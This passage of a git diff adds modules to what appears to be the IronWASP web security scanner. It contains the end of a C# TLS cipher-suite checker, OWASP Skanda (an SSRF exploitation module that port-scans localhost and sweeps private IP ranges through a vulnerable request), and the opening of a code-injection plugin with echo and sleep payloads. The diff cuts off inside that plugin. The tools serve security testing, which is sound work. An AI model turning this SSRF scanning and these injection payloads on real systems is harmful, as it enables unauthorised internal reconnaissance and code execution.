"TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC082, "TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC083, "TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC084, "TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC085, "TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC086, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC087, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC088, "TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC089, "TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC08A, "TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC08B, "TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC08C, "TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC08D, "TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC08E, "TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC08F, "TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC090, "TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC091, "TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC092, "TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC093, "TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384"); + B8(0xC094, "TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC095, "TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC096, "TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC097, "TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC098, "TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC099, "TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC09A, "TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC09B, "TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384"); + S8(0xC09C, "TLS_RSA_WITH_AES_128_CCM"); + S8(0xC09D, "TLS_RSA_WITH_AES_256_CCM"); + S8(0xC09E, "TLS_DHE_RSA_WITH_AES_128_CCM"); + S8(0xC09F, "TLS_DHE_RSA_WITH_AES_256_CCM"); + S8(0xC0A0, "TLS_RSA_WITH_AES_128_CCM_8"); + S8(0xC0A1, "TLS_RSA_WITH_AES_256_CCM_8"); + S8(0xC0A2, "TLS_DHE_RSA_WITH_AES_128_CCM_8"); + S8(0xC0A3, "TLS_DHE_RSA_WITH_AES_256_CCM_8"); + S8(0xC0A4, "TLS_PSK_WITH_AES_128_CCM"); + S8(0xC0A5, "TLS_PSK_WITH_AES_256_CCM"); + S8(0xC0A6, "TLS_DHE_PSK_WITH_AES_128_CCM"); + S8(0xC0A7, "TLS_DHE_PSK_WITH_AES_256_CCM"); + S8(0xC0A8, "TLS_PSK_WITH_AES_128_CCM_8"); + S8(0xC0A9, "TLS_PSK_WITH_AES_256_CCM_8"); + S8(0xC0AA, "TLS_PSK_DHE_WITH_AES_128_CCM_8"); + S8(0xC0AB, "TLS_PSK_DHE_WITH_AES_256_CCM_8"); + + DebugOutput("[+INFO] Cipher Suites Initialised"); + } + } + + class CipherSuite + { + + internal int suite; + internal string name; + internal bool isCBC; + internal int strength; + } + + class M + { + + internal const int CHANGE_CIPHER_SPEC = 20; + internal const int ALERT = 21; + internal const int HANDSHAKE = 22; + internal const int APPLICATION = 23; + + internal static void Enc16be(int val, byte[] buf, int off) + { + buf[off] = (byte)(val >> 8); + buf[off + 1] = (byte)val; + } + + internal static void Enc24be(int val, byte[] buf, int off) + { + buf[off] = (byte)(val >> 16); + buf[off + 1] = (byte)(val >> 8); + buf[off + 2] = (byte)val; + } + + internal static void Enc32be(int val, byte[] buf, int off) + { + buf[off] = (byte)(val >> 24); + buf[off + 1] = (byte)(val >> 16); + buf[off + 2] = (byte)(val >> 8); + buf[off + 3] = (byte)val; + } + + internal static int Dec16be(byte[] buf, int off) + { + return ((int)buf[off] << 8) + | (int)buf[off + 1]; + } + + internal static int Dec24be(byte[] buf, int off) + { + return ((int)buf[off] << 16) + | ((int)buf[off + 1] << 8) + | (int)buf[off + 2]; + } + + internal static uint Dec32be(byte[] buf, int off) + { + return ((uint)buf[off] << 24) + | ((uint)buf[off + 1] << 16) + | ((uint)buf[off + 2] << 8) + | (uint)buf[off + 3]; + } + + internal static void ReadFully(Stream s, byte[] buf) + { + ReadFully(s, buf, 0, buf.Length); + } + + internal static void ReadFully(Stream s, byte[] buf, int off, int len) + { + while (len > 0) + { + int rlen = s.Read(buf, off, len); + if (rlen <= 0) + { + throw new EndOfStreamException(); + } + off += rlen; + len -= rlen; + } + } + + static readonly DateTime Jan1st1970 = + new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); + + internal static long CurrentTimeMillis() + { + return (long)(DateTime.UtcNow - Jan1st1970).TotalMilliseconds; + } + + /* + * Compute the SHA-1 hash of some bytes, returning the hash + * value in hexadecimal. + */ + internal static string DoSHA1(byte[] buf) + { + return DoSHA1(buf, 0, buf.Length); + } + + internal static string DoSHA1(byte[] buf, int off, int len) + { + byte[] hv = new SHA1Managed().ComputeHash(buf, off, len); + StringBuilder sb = new StringBuilder(); + foreach (byte b in hv) + { + sb.AppendFormat("{0:x2}", b); + } + return sb.ToString(); + } + + /* + * A constant SSLv2 CLIENT-HELLO message. Only one connection + * is needed for SSLv2, since the server response will contain + * _all_ the cipher suites that the server is willing to + * support. + * + * Note: when (mis)interpreted as a SSLv3+ record, this message + * apparently encodes some data of (invalid) 0x80 type, using + * protocol version TLS 44.1, and record length of 2 bytes. + * Thus, the receiving part will quickly conclude that it will + * not support that, instead of stalling for more data from the + * client. + */ + internal static byte[] SSL2_CLIENT_HELLO = { + 0x80, 0x2E, // header (record length) + 0x01, // message type (CLIENT HELLO) + 0x00, 0x02, // version (0x0002) + 0x00, 0x15, // cipher specs list length + 0x00, 0x00, // session ID length + 0x00, 0x10, // challenge length + 0x01, 0x00, 0x80, // SSL_CK_RC4_128_WITH_MD5 + 0x02, 0x00, 0x80, // SSL_CK_RC4_128_EXPORT40_WITH_MD5 + 0x03, 0x00, 0x80, // SSL_CK_RC2_128_CBC_WITH_MD5 + 0x04, 0x00, 0x80, // SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 + 0x05, 0x00, 0x80, // SSL_CK_IDEA_128_CBC_WITH_MD5 + 0x06, 0x00, 0x40, // SSL_CK_DES_64_CBC_WITH_MD5 + 0x07, 0x00, 0xC0, // SSL_CK_DES_192_EDE3_CBC_WITH_MD5 + 0x54, 0x54, 0x54, 0x54, // challenge data (16 bytes) + 0x54, 0x54, 0x54, 0x54, + 0x54, 0x54, 0x54, 0x54, + 0x54, 0x54, 0x54, 0x54 + }; + } + + // CanRead, CanSeek, CanWrite, Flush, Length, Position, Seek, SetLength + + class SSLRecord : Stream + { + + const int MAX_RECORD_LEN = 16384; + + Stream sub; + byte[] outBuf = new byte[MAX_RECORD_LEN + 5]; + int outPtr; + int outVersion; + int outType; + byte[] inBuf = new byte[MAX_RECORD_LEN + 5]; + int inPtr; + int inEnd; + int inVersion; + int inType; + int inExpectedType; + + internal SSLRecord(Stream sub) + { + this.sub = sub; + outPtr = 5; + inPtr = 0; + inEnd = 0; + } + + public override bool CanRead { get { return true; } } + public override bool CanSeek { get { return false; } } + public override bool CanWrite { get { return true; } } + public override long Length + { + get { throw new NotSupportedException(); } + } + public override long Position + { + get { throw new NotSupportedException(); } + set { throw new NotSupportedException(); } + } + + public override long Seek(long offset, SeekOrigin origin) + { + throw new NotSupportedException(); + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } + + internal void SetOutType(int type) + { + this.outType = type; + } + + internal void SetOutVersion(int version) + { + this.outVersion = version; + } + + public override void Flush() + { + outBuf[0] = (byte)outType; + M.Enc16be(outVersion, outBuf, 1); + M.Enc16be(outPtr - 5, outBuf, 3); + sub.Write(outBuf, 0, outPtr); + sub.Flush(); + outPtr = 5; + } + + public override void WriteByte(byte b) + { + outBuf[outPtr++] = b; + if (outPtr == outBuf.Length) + { + Flush(); + } + } + + public void Write(byte[] buf) + { + Write(buf, 0, buf.Length); + } + + public override void Write(byte[] buf, int off, int len) + { + while (len > 0) + { + int clen = Math.Min(outBuf.Length - outPtr, len); + Array.Copy(buf, off, outBuf, outPtr, clen); + outPtr += clen; + off += clen; + len -= clen; + if (outPtr == outBuf.Length) + { + Flush(); + } + } + } + + internal void SetExpectedType(int expectedType) + { + this.inExpectedType = expectedType; + } + + internal int GetInVersion() + { + return inVersion; + } + + void Refill() + { + for (; ; ) + { + M.ReadFully(sub, inBuf, 0, 5); + inType = inBuf[0]; + inVersion = M.Dec16be(inBuf, 1); + inEnd = M.Dec16be(inBuf, 3); + M.ReadFully(sub, inBuf, 0, inEnd); + inPtr = 0; + if (inType != inExpectedType) + { + if (inType == M.ALERT) + { + /* + * We just ignore alert + * messages. + */ + continue; + } + throw new IOException( + "unexpected record type: " + + inType); + } + return; + } + } + + public override int ReadByte() + { + while (inPtr == inEnd) + { + Refill(); + } + return inBuf[inPtr++]; + } + + public override int Read(byte[] buf, int off, int len) + { + while (inPtr == inEnd) + { + Refill(); + } + int clen = Math.Min(inEnd - inPtr, len); + Array.Copy(inBuf, inPtr, buf, off, clen); + inPtr += clen; + return clen; + } + } + + /* + * This class decodes a ServerHello message from the server. The + * fields we are interested in are stored in the + * package-accessible fields. + */ + class ServerHello + { + + internal int recordVersion; + internal int protoVersion; + internal long serverTime; + internal int cipherSuite; + internal int compression; + internal string serverCertName; + internal string serverCertHash; + + internal ServerHello(SSLRecord rec) + { + rec.SetExpectedType(M.HANDSHAKE); + + /* + * First, get the handshake message header (4 bytes). + * First byte should be 2 ("ServerHello"), then + * comes the message size (over 3 bytes). + */ + byte[] buf = new byte[4]; + M.ReadFully(rec, buf); + recordVersion = rec.GetInVersion(); + if (buf[0] != 2) + { + throw new IOException("unexpected handshake" + + " message type: " + buf[0]); + } + buf = new byte[M.Dec24be(buf, 1)]; + + /* + * Read the complete message in RAM. + */ + M.ReadFully(rec, buf); + int ptr = 0; + + /* + * The protocol version which we will use. + */ + if (ptr + 2 > buf.Length) + { + throw new IOException("invalid ServerHello"); + } + protoVersion = M.Dec16be(buf, 0); + ptr += 2; + + /* + * The server random begins with the server's notion + * of the current time. + */ + if (ptr + 32 > buf.Length) + { + throw new IOException("invalid ServerHello"); + } + serverTime = 1000L * (long)M.Dec32be(buf, ptr); + ptr += 32; + + /* + * We skip the session ID. + */ + if (ptr + 1 > buf.Length) + { + throw new IOException("invalid ServerHello"); + } + ptr += 1 + buf[ptr]; + + /* + * The cipher suite and compression follow. + */ + if (ptr + 3 > buf.Length) + { + throw new IOException("invalid ServerHello"); + } + cipherSuite = M.Dec16be(buf, ptr); + compression = buf[ptr + 2]; + + /* + * The ServerHello could include some extensions + * here, which we ignore. + */ + + /* + * We now read a few extra messages, until we + * reach the server's Certificate message, or + * ServerHelloDone. + */ + for (; ; ) + { + buf = new byte[4]; + M.ReadFully(rec, buf); + int mt = buf[0]; + buf = new byte[M.Dec24be(buf, 1)]; + M.ReadFully(rec, buf); + switch (mt) + { + case 11: + ProcessCertificate(buf); + return; + case 14: + // ServerHelloDone + return; + } + } + } + + private void ProcessCertificate(byte[] buf) + { + if (buf.Length <= 6) + { + return; + } + int len1 = M.Dec24be(buf, 0); + if (len1 != buf.Length - 3) + { + return; + } + int len2 = M.Dec24be(buf, 3); + if (len2 > buf.Length - 6) + { + return; + } + byte[] ec = new byte[len2]; + Array.Copy(buf, 6, ec, 0, len2); + + try + { + X509Certificate2 xc = new X509Certificate2(ec); + serverCertName = xc.SubjectName.Name; + } + catch (Exception) + { + // ignored + return; + } + serverCertHash = M.DoSHA1(ec); + } + } + + /* + * This class represents the response of a server which knows + $ SSLv2. It includes the list of cipher suites and the + * identification of the server certificate. + */ + class ServerHelloSSLv2 + { + + internal int[] cipherSuites; + internal string serverCertName; + internal string serverCertHash; + + internal ServerHelloSSLv2(Stream ss) + { + // Record length + byte[] buf = new byte[2]; + M.ReadFully(ss, buf); + int len = M.Dec16be(buf, 0); + if ((len & 0x8000) == 0) + { + throw new IOException("not a SSLv2 record"); + } + len &= 0x7FFF; + if (len < 11) + { + throw new IOException( + "not a SSLv2 server hello"); + } + buf = new byte[11]; + M.ReadFully(ss, buf); + if (buf[0] != 0x04) + { + throw new IOException( + "not a SSLv2 server hello"); + } + int certLen = M.Dec16be(buf, 5); + int csLen = M.Dec16be(buf, 7); + int connIdLen = M.Dec16be(buf, 9); + if (len != 11 + certLen + csLen + connIdLen) + { + throw new IOException( + "not a SSLv2 server hello"); + } + if (csLen == 0 || csLen % 3 != 0) + { + throw new IOException( + "not a SSLv2 server hello"); + } + byte[] cert = new byte[certLen]; + M.ReadFully(ss, cert); + byte[] cs = new byte[csLen]; + M.ReadFully(ss, cs); + byte[] connId = new byte[connIdLen]; + M.ReadFully(ss, connId); + cipherSuites = new int[csLen / 3]; + for (int i = 0, j = 0; i < csLen; i += 3, j++) + { + cipherSuites[j] = M.Dec24be(cs, i); + } + try + { + X509Certificate2 xc = new X509Certificate2(cert); + serverCertName = xc.SubjectName.Name; + } + catch (Exception) + { + // ignored + return; + } + serverCertHash = M.DoSHA1(cert); + } + } + +} \ No newline at end of file diff --git a/modules/SSLSecurityChecker/TestSSLServer.dll b/modules/SSLSecurityChecker/TestSSLServer.dll new file mode 100644 index 0000000..9c8b2e7 Binary files /dev/null and b/modules/SSLSecurityChecker/TestSSLServer.dll differ diff --git a/modules/Skanda/Skanda.py b/modules/Skanda/Skanda.py new file mode 100644 index 0000000..2f15e27 --- /dev/null +++ b/modules/Skanda/Skanda.py @@ -0,0 +1,369 @@ +# +# Copyright 2013 Jayesh Singh Chauhan +# +# This file is part of OWASP Skanda - SSRF Exploitation Framework +# +# Skanda is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, version 3 of the License. +# +# Skanda is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# http://www.gnu.org/licenses/ +# + +from IronWASP import * +import re +import time + +#Extend the Module base class +class Skanda(Module): + + + #Implement the GetInstance method of Module class. This method is used to create new instances of this module. + def GetInstance(self): + m = Skanda() + m.Name = 'Skanda' + return m + + + + #Implement the StartModule method of Module class. This is the method called by IronWASP when user tries to launch the moduule from the UI. + def StartModuleOnSession(self, sess): + #IronConsole is a CLI window where output can be printed and user input accepted + self.console = IronConsole() + self.console.SetTitle('OWASP Skanda') + self.console.ConsoleClosing += lambda e: self.close_console(e) + self.console.ShowConsole() + #'Print' prints text at the CLI. 'PrintLine' prints text by adding a newline at the end. + self.console.PrintLine('OWASP Skanda - SSRF Exploitation Framework v0.2') + self.console.PrintLine('Copyright 2013 Jayesh Singh Chauhan') + self.console.PrintLine('License : GPL v3 - http://opensource.org/licenses/GPL-3.0') + self.console.PrintLine('https://github.com/jayeshchauhan/skanda') + self.console.PrintLine('') + self.console.Print('[*] Getting scan settings from user...') + f = Fuzzer.FromUi(sess.Request) + self.f=f + f.SetLogSource('Skanda') + if f.HasMore() == False: + self.console.PrintLine('') + self.console.PrintLine('[*]You have not any provided scan settings, hence scan cannot proceed. Please close this window ') + return + self.console.PrintLine('done!') + self.console.PrintLine('') + self.console.PrintLine('Refer the below menu and provide the corresponding numeric input') + self.console.PrintLine('1. Port Scan') + self.console.PrintLine('2. Network Discovery') + feature = self.console.ReadLine() + if feature == '1': + self.console.PrintLine('') + self.console.PrintLine('Skanda is going to perform port scan on the target server using SSRF') +#Port Scan Logic + self.console.PrintLine('') + self.print_input_message() + scan_type = self.console.ReadLine() + first_input_check = bool(False) + while first_input_check == False: + + if scan_type == '1': + first_input_check = bool(True) + elif scan_type == '2': + first_input_check = bool(True) + else: + self.console.PrintLine('') + self.console.PrintLine('Please enter valid inputs') + self.print_input_message() + #'Read' accepts multi-line input from the user through the CLI. 'ReadLine' accepts single line user input. + scan_type = self.console.ReadLine() + + if scan_type == '2': + self.console.PrintLine('Enter the range of ports to be scanned (Ex: x-y)') + payloads_input = self.console.ReadLine() + self.console.PrintLine('Scanning the following port range -> ' + payloads_input) + # #We are getting the payloads list from user only to demonstarte the user input feature. + + second_input_check = bool(False) + while second_input_check == False: + hyphen = "-" + if hyphen in payloads_input: + range_str = payloads_input.split(hyphen) + try: + lower_range = int(range_str[0]) + higher_range = int(range_str[1]) + second_input_check = True + except: + self.console.PrintLine('') + self.console.PrintLine('Please enter the input in valid format') + self.console.PrintLine('Enter the range of ports to be scanned (Ex: x-y)') + payloads_input = self.console.ReadLine() + else: + self.console.PrintLine('') + self.console.PrintLine('Please enter the input in valid format') + self.console.PrintLine('Enter the range of ports to be scanned (Ex: x-y)') + payloads_input = self.console.ReadLine() + + port_range = payloads_input.split("-") + + + self.console.PrintLine('') + self.console.PrintLine('[*] Starting the scan.') + self.console.PrintLine('') + self.console.PrintLine('[*]Performing initial diagnostics. This might take a while') + self.error_xspa = [] + self.blind_xspa = [] + self.base_req = sess.Request + avg_res_time = (sess.Request.Send().RoundTrip + sess.Request.Send().RoundTrip + sess.Request.Send().RoundTrip)/3 + timeout = avg_res_time + 5000 + self.console.PrintLine('[*]Diagnostics completed !') + self.console.PrintLine("[*}Now, let's start port scan") + self.console.PrintLine('') + + while f.HasMore(): + f.Next() + + self.res_1 = f.Inject("http://localhost:1") + + res_2= f.Inject("http://localhost:2") + + self.body_diff = Tools.DiffLevel(self.res_1.BodyString, res_2.BodyString) + int(5) + + + if scan_type == '1': + ports = [20,21,22,23,25,53,69,79,80,81,105,106,107,110,111,113,115,137,139,143,194,220,389,443,636,944,989,990,1025,1080,2049,2224,8009,8080,8443,8843,8090,14147,63891] + port_count = len(ports) + start_time = time.time() + + for port in ports: + self.port_scan(f,port,timeout) + + end_time = time.time() + time_taken = end_time - start_time + self.console.PrintLine('') + self.console.PrintLine('Open ports discovered via Blind XSPA - ' + str(self.blind_xspa)) + self.console.PrintLine('Open ports discovered via Error based XSPA - ' + str(self.error_xspa)) + self.console.PrintLine('') + self.console.PrintLine('The time taken to scan most common ports - ' + str(ports) + ' is -> ' + str("%0.2f" % time_taken) + ' seconds') + self.console.PrintLine('Now Skanda is going to scan for rest of the ports from 1-65535') + minutes = (time_taken/port_count) *(65535/60) + self.console.PrintLine('The scan is going to take approximately - ' + str("%0.2f" % minutes) + ' minutes' ) + self.console.PrintLine('') + self.console.PrintLine('Please enter any key to continue or press "n" to exit') + cont = self.console.ReadLine() + if cont == 'n' or cont == 'N': + self.console.PrintLine('') + self.console.PrintLine('[*] Scan Stopped, Please close the window') + self.console.PrintLine('') + self.console.PrintLine('Open ports discovered via Blind XSPA - ' + str(self.blind_xspa)) + self.console.PrintLine('Open ports discovered via Error based XSPA - ' + str(self.error_xspa)) + self.StopModule() + + self.console.PrintLine('') + self.console.PrintLine('Starting scan for rest of the ports 1-65535') + self.console.PrintLine('') + + for port in range(1,65536): + self.port_scan(f,port,timeout) + + elif scan_type == '2': + for port in range(int(port_range[0]),int(port_range[1])+1): + self.port_scan(f,port,timeout) + + self.console.PrintLine('') + self.console.PrintLine('[*] Scan completed') + self.console.PrintLine('') + self.console.PrintLine('Open ports discovered via Blind XSPA - ' + str(self.blind_xspa)) + self.console.PrintLine('Open ports discovered via error based XSPA - ' + str(self.error_xspa)) + +#Network Discovery Logic + elif feature == '2': + self.console.PrintLine('') + self.console.PrintLine('Skanda is going to perform network discovery using SSRF') + self.console.PrintLine('') + self.console.PrintLine('[*]Performing initial diagnostics. This might take a while') + netdis_req = sess.Request.GetClone() + #netdis_req.Body.Set('url','http://localhost') + #netdi_avg_time is the timeout in this case + netdis_avg_time = 1000 + (netdis_req.Send().RoundTrip + netdis_req.Send().RoundTrip + netdis_req.Send().RoundTrip)/3 + #print "Average Time Calculated -> " + str(netdis_avg_time) + self.console.PrintLine('') + self.console.PrintLine('Please provide input') + self.console.PrintLine('1. Specify IP range (to scan user specific range of IP addresses)') + self.console.PrintLine('2. Start Default Scan') + range_menu_input = self.console.ReadLine() + + if range_menu_input == '1': + self.console.PrintLine('') + self.console.PrintLine('IP range can be input in the following format:') + self.console.PrintLine('Ex1: Range "192.168-169.1-2.1" - will include IPs - 192.168.1.1, 192.168.2.2, 192.169.1.1, 192.169.2.1') + self.console.PrintLine('Ex2: Range "192.168.1.1/24" - will include IPs- 192.168.1.1, 192.168.1.2.........192.168.1.253, 192.168.1.254') + self.console.PrintLine('') + self.console.PrintLine('Please enter the range of IP addresses') + user_range = self.console.ReadLine() + self.console.PrintLine('') + try: + x = Tools.NwToIp(user_range) + if not x: + raise exc #intentionally raising an exception IF THE RANGE 'List()' is empty + self.console.PrintLine("Scanning the range -> " + user_range) + except: + self.console.PrintLine('The range entered is incorrect. Please have a look at the examples provide before inputting the range.') + + while f.HasMore(): + f.Next() + + self.Scan_Ips(self.f,user_range,netdis_avg_time) + + self.console.PrintLine("[*] Scan Completed!!!") + #netdi_avg_time is the timeout + + elif range_menu_input == '2': + + #Since the Scan_Network function is designed to search for routers only, the *.*.*.1 IP ranges are seelected at first. + #Once a router is found, Scan_Ips function is called which then takes into account the subnet. + first_range = "192.168.0-255.1" + second_range = "172.16-31.0-255.1" + third_range = "10.0-255.0-255.1" + self.console.PrintLine('[*]Diagnostics Completed !!') + self.console.PrintLine('') + self.console.PrintLine("[*]Let's find some networks") + self.console.PrintLine('') + while f.HasMore(): + f.Next() + + self.console.PrintLine('Scanning Class C IP addresses') + self.console.PrintLine('') + self.Scan_Network(f,first_range,netdis_avg_time) + #netdi_avg_time is the timeout + + self.console.PrintLine('Scanning Class B IP addresses') + self.console.PrintLine('') + self.Scan_Network(f,second_range,netdis_avg_time) + + self.console.PrintLine('Scanning Class A IP addresses') + self.console.PrintLine('') + self.Scan_Network(f,third_range,netdis_avg_time) + + self.console.PrintLine('[*] Scan Completed!!!') + return + + else: + self.console.PrintLine('') + self.console.PrintLine('Wrong Input') + self.console.PrintLine('') + self.console.PrintLine('Close this window and Restart Skanda !!!') + + + #Functions used for port scan + def port_scan(self,f,port,timeout): + + res='' + try: + payload = "http://localhost:" + str(port) + res = f.Inject(payload,timeout) + except: + try: + base_res = self.base_req.Send(timeout) + except: + self.console.PrintLine('There is something wrong with the network. After checking the network, please enter any key to resume') + ans = self.console.Readline() + + try: + res = f.Inject(payload,timeout) + except: + self.console.PrintLine("Port " + (' '*(5-len(str(port)))) + str(port) + " is open (Blind XSPA) ") + self.blind_xspa.append(str(port)) + return + port_status = self.check_port_status(res,self.res_1,self.body_diff) + self.console.PrintLine("Port " + (' '*(5-len(str(port)))) + str(port) + " is " + port_status) + if port_status == 'Open': + self.error_xspa.append(str(port)) + + def check_port_status(self,response1,response2,threshold): + if Tools.DiffLevel(response1.BodyString,response2.BodyString) <= threshold: + return "Closed" + else: + return "Open" + + def print_input_message(self): + self.console.PrintLine('Select the scan type from below options:') + self.console.PrintLine('1) Scan Predefined list of ports') + self.console.PrintLine('2) Accept port list from user and scan them') + self.console.PrintLine('Enter 1 or 2 below:') + + def main_menu_input(self): + self.console.PrintLine('') + self.console.PrintLine('Please enter valid inputs') + self.console.PrintLine('1. Port Scan') + self.console.PrintLine('2. Network Discovery') + + def close_console(self, e): + #This method terminates the main thread on which the module is running + self.StopModule() + + #Functions used for network discovery + def Scan_Network(self,f,range,timeout): + + routers = Tools.NwToIp(range) + for router in routers: + self.console.Print(".") + router_ip = "http://" + str(router) + #check_router_req = request.GetClone() + #print "cloned " + str(router) + #check_router_req.Body.Set('url',str(router_ip)) + #print "ip changed " + str(router) + try: + #check_router_res = check_router_req.Send(timeout) + check_router_res = f.Inject(router_ip,timeout) + self.console.PrintLine('') + self.console.PrintLine("Active Router discovered -> " + str(router)) + self.console.PrintLine('') + #self.console.PrintLine("RoundTrip Time for " + str(router_ip) + "->" + str(check_router_res.RoundTrip)) + #up_count = up_count + 1 + self.console.PrintLine('Scanning subnet') + self.Scan_Ips(f,router+"/24",timeout) + except: + continue + #self.console.PrintLine("Router IP -> " + str(router) + " is down") + + + + + + def Scan_Ips(self,f,range,timeout): + node_range = Tools.NwToIp(range) + #self.console.PrintLine('entered function') + for node in node_range: + #self.console.PrintLine('entered loop') + self.console.Print('.') + node_http = "http://" + node + #self.console.PrintLine(node_http) + + #self.console.PrintLine("Sending Node") + ip_timeout = timeout + 1000 + #self.console.PrintLine(ip_timeout) + #IronThread.Sleep(1000) + try: + #self.console.PrintLine(node_http) + #self.console.PrintLine(self.f) + node_res = self.f.Inject(node_http,ip_timeout) + #self.console.PrintLine('node active') + #print "Node -> " + node + " is up" + self.console.PrintLine('') + self.console.PrintLine(" Node "+node+" -> is active")#+str(node_res.RoundTrip)) + self.console.PrintLine('') + + except Exception as e: + continue + # self.console.PrintLine(e) + # self.console.PrintLine(" Node -> " + node + " is down") + # self.console.PrintLine('') +#This code is executed only once when this new module is loaded in to the memory. +#Create an instance of the this module +m = Skanda() +#Call the GetInstance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of Modules +Module.Add(m.GetInstance()) + + diff --git a/plugins/active/CodeInjection.py b/plugins/active/CodeInjection.py new file mode 100644 index 0000000..1aa0057 --- /dev/null +++ b/plugins/active/CodeInjection.py @@ -0,0 +1,207 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + + +#Inherit from the base ActivePlugin class +class CodeInjection(ActivePlugin): + def GetInstance(self): + p = CodeInjection() + p.Name = "Code Injection" + p.Description = "Active Plugin to check for CodeInjection vulnerability" + p.Version = "0.4" + return p + + #Check logic based on https://github.com/Zapotek/arachni/blob/master/modules/audit/code_injection.rb of the Arachni project + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForCodeInjection() + + def CheckForCodeInjection(self): + self.scnr.Trace(">>Checking for Code Injection:>") + self.CheckForEchoBasedCodeInjection() + self.CheckForTimeBasedCodeInjection() + self.AnalyzeTestResult() + + def CheckForEchoBasedCodeInjection(self): + #lang_order [php, perl, pyton, asp, ruby] + functions = ['echo ;', 'print ;', 'print ', 'Response.Write()', "puts "] + comments = ["#", "#", "#", "'", "#"] + prefixes = ["", ";", "';", '";'] + + add_num_1 = 0 + add_num_2 = 0 + base_res = self.scnr.BaseResponse + found_rand_nums = False + while(not found_rand_nums): + add_num_1 = Tools.GetRandomNumber(1000000, 10000000) + add_num_2 = Tools.GetRandomNumber(1000000, 10000000) + if base_res.BodyString.count(str(add_num_1 + add_num_2)) == 0: + found_rand_nums = True + + add_str = "{0}+{1}".format(str(add_num_1), str(add_num_2)) + added_str = str(add_num_1 + add_num_2) + + self.scnr.Trace(">>Checking for Echo based Code Injection:>") + for i in range(len(functions)): + for p in prefixes: + inj_comments = ["", comments[i]] + for c in inj_comments: + func_to_execute = functions[i].replace("", add_str) + payload = "{0}{1}{2}".format(p, func_to_execute, c) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.BodyString.count(added_str) > 0: + self.scnr.ResponseTrace(" ==> >Got {0} in the response, this is the result of executing '{1}'. Indicates Code Injection!>".format(added_str, add_str)) + self.scnr.SetTraceTitle("Echo based Code Injection", 5) + self.AddToTriggers(payload, "The payload in this request contains a code snippet which if executed will add the numbers {0} & {1} and print the result. The code snippet is: {2}".format(add_num_1, add_num_2, func_to_execute), added_str, "This response contains the value {0} which is the sum of the numbers {1} & {2} which were sent in the request.".format(add_num_1 + add_num_2, add_num_1, add_num_2)) + reason = self.GetErrorReason(payload, func_to_execute, add_num_1, add_num_2) + self.reasons.append(reason) + return + else: + self.scnr.ResponseTrace(" ==> Did not get {0} in the response".format(added_str)) + + def CheckForTimeBasedCodeInjection(self): + self.scnr.Trace(">>Checking for Time based Code Injection:>") + #set the time related values for time-based code injection check + self.time = 0 + max_delay = 0 + min_delay = -1 + self.scnr.Trace(">Sending three requests to get a baseline of the response time for time based check:") + base_line_delays = [] + avg_delay = 0 + for i in range(3): + res = self.scnr.Inject() + avg_delay = avg_delay + res.RoundTrip + base_line_delays.append(" {0}) Response time is - {1} ms".format(i+1, res.RoundTrip)) + if res.RoundTrip > max_delay: + max_delay = res.RoundTrip + if res.RoundTrip < min_delay or min_delay == -1: + min_delay = res.RoundTrip + avg_delay = avg_delay / 3 + + self.scnr.Trace(">".join(base_line_delays)) + if min_delay > 5000: + self.time = ((max_delay + min_delay) / 1000) + 1 + else: + self.time = ((max_delay + 5000) / 1000) + 1 + self.scnr.Trace(">Maximum Response Time: {0}ms. Minimum Response Time: {1}ms>Induced Time Delay will be for {2}ms>".format(max_delay, min_delay, self.time * 1000)) + + functions = ['sleep();', 'import time;time.sleep();'] + prefixes = ["", "';", '";'] + comments = ["", "#"] + for f in functions: + for p in prefixes: + for c in comments: + func_to_execute = f.replace("", 